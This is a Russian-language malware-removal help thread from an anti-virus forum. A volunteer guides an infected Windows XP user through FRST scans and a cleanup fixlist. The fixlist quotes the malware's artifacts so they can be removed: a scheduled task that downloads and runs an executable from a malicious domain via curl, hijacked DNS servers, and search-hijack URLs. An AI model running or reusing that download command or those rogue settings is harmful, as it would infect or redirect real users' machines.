вирус.

**глеб20** · 20.12.2017, 11:07

Здравствуйте! Такая проблемка случилась: вирус svchost. Лечил всеми прогами и avz, dr.web. После всех манипуляций, пропал звук ("Аудио устройства отсутствуют"), ярлыки не двигаются на рабочем столе, некоторые программы не открываются совсем (например, Skype) выдает ошибкуApplication error. Exception EOle sys Error in module Skype.exe at 001284F9. Сервер RPC недоступен.
В папке "Сетевые подключения" пусто, при этом интернет работает! Opera и Mozilla открываюся, Internet Ezplorer - нет. В безопасном режиме ярлыки тоже не двигаються.

Надоело быть жертвой? Стань профи по информационной безопасности, получай самую свежую информацию об угрозах и средствах защиты от ведущего российского аналитического центра Anti-Malware.ru:

**Info_bot** · 20.12.2017, 11:10

Уважаемый(ая) глеб20, спасибо за обращение на наш форум!

Помощь при заражении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы, в самое ближайшее время, ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в правилах оформления запроса о помощи.

Информация

Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом Помогите+.

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста поддержите проект.

**mike 1** · 20.12.2017, 13:09

https://virusinfo.info/pravila.html

**глеб20** · 20.12.2017, 14:39

логи отправляю

**mike 1** · 20.12.2017, 23:39

Ошибки при работе Автологгера были?

**глеб20** · 21.12.2017, 15:04

ошибок не было, перезагрузился, антивирус я выключил. По моему в кне avz были красные буквы. Это ошибки?

- - - - -Добавлено - - - - -

ну а как там мои логи? Что нибудь видно?

- - - - -Добавлено - - - - -

есть шанс услышать звук из колонок и перетащить ярлыки с левой стороны рабочего стола?

- - - - -Добавлено - - - - -

Доктор пациент жив или нет?

- - - - -Добавлено - - - - -

HELP! HELP! HELP ME!

- - - - -Добавлено - - - - -

HELP ME!

**mike 1** · 21.12.2017, 17:17

ну а как там мои логи? Что нибудь видно?

Видно, что они не полные.

Доктор пациент жив или нет?

Я отвечаю когда у меня есть время.

Скачайте Farbar Recovery Scan Tool

и сохраните на Рабочем столе.

Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.

Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
Убедитесь, что под окном Optional Scan отмечены "List BCD", "Driver MD5" и "90 Days Files".
Нажмите кнопку Scan.
После окончания сканирования будет создан отчет (FRST.txt) в той же папке, откуда была запущена программа. Пожалуйста, прикрепите отчет в следующем сообщении.
Если программа была запущена в первый раз, будет создан отчет (Addition.txt). Пожалуйста, прикрепите его в следующем сообщении.

**глеб20** · 22.12.2017, 02:40

отчет

- - - - -Добавлено - - - - -

ещё

**mike 1** · 22.12.2017, 12:55

Пиратские сборки Windows никогда не отличались стабильностью. Так что место им на свалке.

ВНИМАНИЕ! Данный скрипт написан специально для этого пользователя, использование его на другом компьютере может привести к неработоспособности Windows!

Временно выгрузите антивирус, файрволл и прочее защитное ПО.

Скопируйте приведенный ниже текст в Блокнот и сохраните файл как fixlist.txt в ту же папку откуда была запущена утилита Farbar Recovery Scan Tool:

Код:

CreateRestorePoint:
CloseProcesses:
HKLM\...\Run: [gmsd_re_005010155] => [X]
HKLM\...\Run: [gmsd_re_005010156] => [X]
HKLM\...\Run: [gmsd_re_005010157] => [X]
HKLM\...\Run: [gmsd_re_005010158] => [X]
HKLM\...\Run: [gmsd_re_005010159] => [X]
HKLM\...\Run: [htcUPCTLoader] => [X]
HKLM\...\Run: [TBNotifier] => [X]
HKU\S-1-5-19\...\Policies\Explorer: [NoSharedDocuments] 1
HKU\S-1-5-19\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1
HKU\S-1-5-19\...\Policies\Explorer: [NoRecentDocsMenu] 01000000
HKU\S-1-5-19\...\Policies\Explorer: [NoSMConfigurePrograms] 1
HKU\S-1-5-20\...\Policies\Explorer: [NoSharedDocuments] 1
HKU\S-1-5-20\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1
HKU\S-1-5-20\...\Policies\Explorer: [NoRecentDocsMenu] 01000000
HKU\S-1-5-20\...\Policies\Explorer: [NoSMConfigurePrograms] 1
HKU\S-1-5-21-299502267-562591055-682003330-1003\...\Run: [ALSrvN] => [X]
HKU\S-1-5-21-299502267-562591055-682003330-1003\...\Run: [DTLite] => [X]
HKU\S-1-5-21-299502267-562591055-682003330-1003\...\Run: [GoogleUpdate] => [X]
HKU\S-1-5-21-299502267-562591055-682003330-1003\...\Policies\Explorer: [NoSaveSatting] 1
HKU\S-1-5-21-299502267-562591055-682003330-1005\...\Policies\Explorer: [NoSharedDocuments] 1
HKU\S-1-5-21-299502267-562591055-682003330-1005\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1
HKU\S-1-5-21-299502267-562591055-682003330-1005\...\Policies\Explorer: [NoRecentDocsMenu] 01000000
HKU\S-1-5-21-299502267-562591055-682003330-1005\...\Policies\Explorer: [NoSMConfigurePrograms] 1
HKU\S-1-5-18\...\Policies\Explorer: [NoSharedDocuments] 1
HKU\S-1-5-18\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1
HKU\S-1-5-18\...\Policies\Explorer: [NoRecentDocsMenu] 01000000
HKU\S-1-5-18\...\Policies\Explorer: [NoSMConfigurePrograms] 1
GroupPolicy\User: Restriction - Chrome <==== ATTENTION
CHR HKLM\SOFTWARE\Policies\Google: Restriction <==== ATTENTION
Tcpip\..\Interfaces\{0F047DBA-9E24-4618-907D-90EC94BD7A73}: [NameServer] 35.177.46.238,46.101.28.31,82.202.226.203,192.168.1.1,0.0.0.0
HKU\S-1-5-21-299502267-562591055-682003330-1003\Software\Microsoft\Internet Explorer\Main,Search Page = hxxp://cosmosearch.ru/?ri=1&rsid=0b1afb8494e1b0b19911e5e7250e6952&q={searchTerms}
HKLM\SOFTWARE\Microsoft\Internet Explorer\AboutURLs,Tabs: "hxxp://www2.delta-search.com/?affID=121845&tt=gc_050513_d9119_gc_&babsrc=NT_ss&mntrId=B84700248CC2E805" <==== ATTENTION
SearchScopes: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3C} URL = hxxp://cosmosearch.ru/?ri=1&rsid=0b1afb8494e1b0b19911e5e7250e6952&q={searchTerms}
SearchScopes: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3D} URL = hxxp://cosmosearch.ru/?ri=1&rsid=0b1afb8494e1b0b19911e5e7250e6952&q=
SearchScopes: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> {0ECDF796-C2DC-4d79-A620-CCE0C0A66CC9} URL = hxxp://www2.delta-search.com/?q={searchTerms}&affID=121845&tt=gc_050513_d9119_gc_&babsrc=SP_ss&mntrId=B84700248CC2E805
SearchScopes: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> {77F2B683-BFE4-4140-A5D5-3004C16E3A8F} URL = hxxp://inet123.ru/?cx=partner-pub-7107628092852806%3Asxiti5-ktqk&cof=FORID%3A10&ie=utf-8&q={searchTerms}&sa=%CF%EE%E8%F1%EA&siteurl=inet123.ru%2F#881
SearchScopes: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> {AD22EBAF-0D18-4fc7-90CC-5EA0ABBE9EB8} URL = hxxp://www.daemon-search.com/search?q={searchTerms}
SearchScopes: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> {F26495A6-66CB-4518-9EAD-C96B9B996B19} URL = hxxp://www.search.ask.com/web?tpid=ORJ-SPE&o=APN11406&pf=V7&p2=^BBE^OSJ000^YY^UA&gct=sb&itbv=12.21.0.114&apn_uid=A87956E5-92B1-4FB0-877E-25ED4DF68497&apn_ptnrs=BBE&apn_dtid=^OSJ000^YY^UA&apn_dbr=ie_8.0.6001.18702&doi=2014-11-30&trgb=IE&q={searchTerms}&psv=&pt=tb
BHO: No Name -> {D5FEC983-01DB-414A-9456-AF95AC9ED7B5} -> No File
Toolbar: HKLM - No Name - {EE5D279F-081B-4404-994D-C6B60AAEBA6D} -  No File
Toolbar: HKLM - No Name - {4F524A2D-5350-4500-76A7-7A786E7484D7} -  No File
Toolbar: HKLM - No Name - {10921475-03CE-4E04-90CE-E2E7EF20C814} -  No File
Toolbar: HKU\.DEFAULT -> No Name - {09900DE8-1DCA-443F-9243-26FF581438AF} -  No File
Toolbar: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> No Name - {EE5D279F-081B-4404-994D-C6B60AAEBA6D} -  No File
Toolbar: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> No Name - {2318C2B1-4965-11D4-9B18-009027A5CD4F} -  No File
Toolbar: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> No Name - {32099AAC-C132-4136-9E9A-4E364A424E17} -  No File
Toolbar: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> No Name - {91397D20-1446-11D4-8AF4-0040CA1127B6} -  No File
Toolbar: HKU\S-1-5-21-299502267-562591055-682003330-1003 -> No Name - {4F524A2D-5350-4500-76A7-7A786E7484D7} -  No File
FF Extension: (Quick Searcher) - C:\Documents and Settings\Глеб\Application Data\Mozilla\Firefox\Profiles\9zessehq.default\Extensions\{d720d64d-c71a-4316-b59e-8a41b860178f} [2015-09-26] [Legacy] [not signed]
C:\Documents and Settings\Глеб\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\leenkjhmbcgekojlkimcbodmniopgfnp
C:\Documents and Settings\Глеб\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\fgldnknlljnfcfgchdijbjmmkdkmnabn
C:\Documents and Settings\Глеб\Local Settings\Application Data\Google\Chrome\User Data\Default\Extensions\oflajgcnpjplgoiffpcakpabenecnhgk
CHR HKLM\...\Chrome\Extension: [aeembeejekghkopiabadonpmfpigojok] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [bgcifljfapbhgiehkjlckfjmgeojijcb] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [bgknpfancpeamejmcooedljjnaddldhg] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [bhjcgomkanpkpblokebecknhahgkcmoo] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [bpgangmffjcofiknibcmfjionicohfgj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [cegdomhocaeoedbdpfolmgjkjaijfomo] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [clpdgmdkdnijjbgmnajolnbnjejoeogm] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [dhngkpgdbpbkopndlpkicfaiffphdkbo] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [ehfjihahbphdpljpiadbkmgmhnfehhgi] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [eioddfaepdoeifbhjphfefgipcjcdieo] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [gdknicmnhbaajdglbinpahhapghpakch] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [gndaciceccgapjhpniecknjlmmlanaem] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [hcncjpganfocbfoenaemagjjopkkindp] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [hpcghcdjnehpkdecaflpedhklimnejia] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [iflppbjnpneiigcbdfjpnkebidmkjmoi] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [ilamgbdaebkbpkkmfmmfbnaamkhijdek] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [jdkihdhlegcdggknokfekoemkjjnjhgi] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [jedelkhanefmcnpappfhachbpnlhomai] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [jggbjbmnfmipgcanidamjfpechdeekoi] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [jmiiohiaajjffehaafddaigaacdjmmgn] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [kapkeeoajacndgpgkndfecndmclcnffb] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [kppacdmmddediahklmcgkgdhhoojemmd] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [lanabbpahpjnaljebnpgkjemcbkepiak] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [lbjjfiihgfegniolckphpnfaokdkbmdm] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [lgdnilodcpljomelbbnpgdogdbmclbni] - hxxp://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [nbifdkmdojgmpmopdebnjcobekgdoncn] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [odkmedfomghphdnmmemhkpoanggcfbbe] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [oelpkepjlgmehajehfeicfbjdiobdkfj] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [ofdgafmdegfkhfdfkmllfefmcmcjllec] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [oflajgcnpjplgoiffpcakpabenecnhgk] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [pganlglbhgfjfgopijbhemcpbehjnpia] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [pldbienodkpgkccocelidinmciedjdok] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [pnooffjhclkocplopffdbcdghmiffhji] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM\...\Chrome\Extension: [ppoilmfkbpckodoifdlkmkepcajfjmhl] - hxxps://clients2.google.com/service/update2/crx
C:\Documents and Settings\Глеб\Application Data\Opera Software\Opera Stable\Extensions\fgldnknlljnfcfgchdijbjmmkdkmnabn
OPR StartupUrls: "hxxp://granena.ru/?utm_content=31b5cebd524a9af6c7a772dca81815e9&utm_source=startpm&utm_term=81963CA7284BD838AB1B28ADEB16AD74&utm_d=20171204"
2017-12-04 10:19 - 2017-12-04 10:19 - 000000000 ____D C:\Documents and Settings\Глеб\Local Settings\Application Data\Вoйти в Интeрнет
2017-12-04 10:17 - 2017-12-22 00:54 - 000000000 ____D C:\Documents and Settings\Глеб\Application Data\curl
2017-12-04 10:17 - 2017-12-18 11:15 - 000000486 ____H C:\WINDOWS\Tasks\curl.job
2017-12-04 10:17 - 2017-12-17 20:26 - 000000276 ____H C:\WINDOWS\Tasks\curls.job
2017-12-04 10:15 - 2017-12-04 10:15 - 000000000 ____D C:\Documents and Settings\Глеб\Application Data\setupsk_upd
2017-12-04 10:15 - 2017-12-04 10:15 - 000000000 ____D C:\Documents and Settings\Глеб\Application Data\setupsk
2017-12-04 10:11 - 2017-12-19 10:22 - 000000000 ____D C:\Documents and Settings\Глеб\Local Settings\Application Data\etdctrl
2017-12-04 10:11 - 2017-12-17 22:23 - 000000344 ____H C:\WINDOWS\Tasks\etdctrl.job
2017-12-04 10:10 - 2017-12-04 10:10 - 000000000 ____D C:\Documents and Settings\Глеб\Local Settings\Application Data\Поиcк в Интeрнете
2013-11-12 21:53 - 2013-11-12 21:53 - 000004107 _____ () C:\Documents and Settings\Глеб\Application Data\winrar.vbs
Task: C:\WINDOWS\Tasks\At1.job => C:\DOCUME~1\EC4C~1\APPLIC~1\DSite\UPDATE~1\UPDATE~1.EXE <==== ATTENTION
Task: C:\WINDOWS\Tasks\curl.job => C:\Documents and Settings\Глеб\Application Data\curl\curl_7_54.exed-f -s -L hxxp:/eltugno.ru/f.exe -o C:\Documents and Settings\Глеб\Application Data\curl\curl.exe
Task: C:\WINDOWS\Tasks\curls.job => C:\Documents and Settings\Глеб\Application Data\curl\curl.exe
Task: C:\WINDOWS\Tasks\etdctrl.job => C:\Documents and Settings\Глеб\Local Settings\Application Data\etdctrl\etdctrl.exe
Task: C:\WINDOWS\Tasks\MailRuUpdater.job => C:\Documents and Settings\Глеб\Local Settings\Application Data\Mail.Ru\MailRuUpdater.exe <==== ATTENTION
Task: C:\WINDOWS\Tasks\Soft installer.job => C:\Documents and Settings\Глеб\Local Settings\Application Data\Hostinstaller\3091705486_brhistor.exe
Task: C:\WINDOWS\Tasks\SystemMonitor2016.job => C:\Documents and Settings\Глеб\Local Settings\Application Data\SystemMonitor2016\3091705486.exe
Task: C:\WINDOWS\Tasks\Virtual Buzz.job => rundll32.exe  C:\Documents and Settings\Глеб\Local Settings\Application Data\Virtual Buzz\zBin\VirtualBuzz.dll <==== ATTENTION
Task: C:\WINDOWS\Tasks\y4hsik.job => C:\DOCUME~1\EC4C~1\LOCALS~1\Temp\~tmp5092136639887857085.tmp <==== ATTENTION
AlternateDataStreams: C:\WINDOWS\Temp:temp [3193062]
AlternateDataStreams: C:\Documents and Settings\All Users\Application Data\TEMP:9E00596C [190]
AlternateDataStreams: C:\Documents and Settings\Глеб\Local Settings:init [4259926]
AlternateDataStreams: C:\Documents and Settings\Глеб\Local Settings\Temp:snrn [39]
EmptyTemp:

Запустите FRST и нажмите один раз на кнопку Fix и подождите. Программа создаст лог-файл (Fixlog.txt). Пожалуйста, прикрепите его в следующем сообщении!
Обратите внимание, что компьютер будет перезагружен.
Внимание! Если на рабочем столе будет создан архив Дата_время.zip, то загрузите этот архив через данную форму

**глеб20** · 22.12.2017, 15:26

вот

**mike 1** · 22.12.2017, 15:29

Компьютер от вирусов вам почистили. Остальные проблемы могут быть вызваны пиратской сборкой Widnows XP у которой большая часть системных файлов не имеет ЭЦП.

==================== Bamital & volsnap ======================

(There is no automatic fix for files that do not pass verification.)

C:\WINDOWS\explorer.exe
[2011-09-28 05:26] - [2011-09-28 05:26] - 001721344 _____ (Корпорация Майкрософт) D876EB72A70958ECA6E25B739A4C29AD

C:\WINDOWS\explorer.exe => Company Name: Корпорация Майкрософт <==== ATTENTION
C:\WINDOWS\system32\winlogon.exe
[2008-04-15 15:00] - [2008-04-15 15:00] - 000509440 _____ (Корпорация Майкрософт) B3B5D5855127E240C88451030AAEE76E

C:\WINDOWS\system32\winlogon.exe => Company Name: Корпорация Майкрософт <==== ATTENTION
C:\WINDOWS\system32\svchost.exe
[2008-04-15 15:00] - [2008-04-15 15:00] - 000014336 _____ (Microsoft Corporation) E948A9079D0E6350BE92D4D3E0077F81

C:\WINDOWS\system32\services.exe
[2011-09-28 05:12] - [2011-09-28 05:12] - 000111104 _____ (Корпорация Майкрософт) 0AF0D6AF45220ADB9C30B33CFEC41831

C:\WINDOWS\system32\services.exe => Company Name: Корпорация Майкрософт <==== ATTENTION
C:\WINDOWS\system32\User32.dll
[2011-09-28 05:27] - [2011-09-28 05:27] - 000579072 _____ (Корпорация Майкрософт) 23B7D3F3F5EC8FEEA75EC381C71CBD5E

C:\WINDOWS\system32\User32.dll => Company Name: Корпорация Майкрософт <==== ATTENTION
C:\WINDOWS\system32\userinit.exe
[2008-04-15 15:00] - [2008-04-15 15:00] - 000026624 _____ (Корпорация Майкрософт) 4F88778DD0CD6B99FCDA408E16B36AE7

C:\WINDOWS\system32\userinit.exe => Company Name: Корпорация Майкрософт <==== ATTENTION
C:\WINDOWS\system32\rpcss.dll
[2011-09-28 05:12] - [2011-09-28 05:12] - 000401408 _____ (Microsoft Corporation) F70CC57608BF3CC9F89222A9E515DCCF

C:\WINDOWS\system32\dnsapi.dll
[2011-09-28 05:11] - [2011-09-28 05:11] - 000149504 _____ (Microsoft Corporation) 28724A9ACD7181CDA34F94417A23BC8A

C:\WINDOWS\system32\Drivers\volsnap.sys
[2008-04-15 15:00] - [2008-04-15 15:00] - 000051968 _____ (Корпорация Майкрософт) A79D899DFD0467C4DF29AF19902ECD18

C:\WINDOWS\system32\Drivers\volsnap.sys => Company Name: Корпорация Майкрософт <==== ATTENTION

==================== End of FRST.txt ============================

**глеб20** · 22.12.2017, 15:47

что дальше делать?

**mike 1** · 22.12.2017, 16:12

Мы закончили.

**глеб20** · 22.12.2017, 23:17

что посоветуете. Звука так и нету, скайпа нет.

**mike 1** · 22.12.2017, 23:40

Убедитесь, что драйвер на звуковую карту установлен, либо переустановите его.

**глеб20** · 23.12.2017, 02:32

логи

**mike 1** · 23.12.2017, 22:38

Выполните скрипт в АВЗ (Файл - Выполнить скрипт):

Код:

var PathAutoLogger, CMDLine : string;

 begin
 clearlog;
 PathAutoLogger := Copy(GetAVZDirectory, 0, (Length(GetAVZDirectory)-4));
 AddToLog('start time ' + FormatDateTime('yyyy.mm.dd-hh:mm:ss', now)+#13#10+ PathAutoLogger);
 SaveLog(PathAutoLogger+'report3.log');
 if FolderIsEmpty(PathAutoLogger+'CrashDumps')
    then CMDLine := 'a "' + PathAutoLogger + 'Report.7z" "' + PathAutoLogger + '\report*.log" "' + PathAutoLogger + 'HiJackThis\HiJackThis*.log"'
    else CMDLine := 'a "' + PathAutoLogger + 'Report.7z" "' + PathAutoLogger + '\report*.log" "' + PathAutoLogger + 'CrashDumps\"';
     ExecuteFile('7za.exe', CMDLine, 0, 180000, false);
 AddLineToTxtFile(PathAutoLogger+'report3.log', '7z ReturnCode ' + IntToStr(GetLastExitCode)+#13#10+'end time ' + FormatDateTime('yyyy.mm.dd-hh:mm:ss', now));
 end.

архив Report.zip из папки с AutoLogger, прикрепите к своему сообщению. Выполнение скрипта может занять несколько минут. Если архив слишком большой, загрузите его на файлообменник, например http://rgho.st/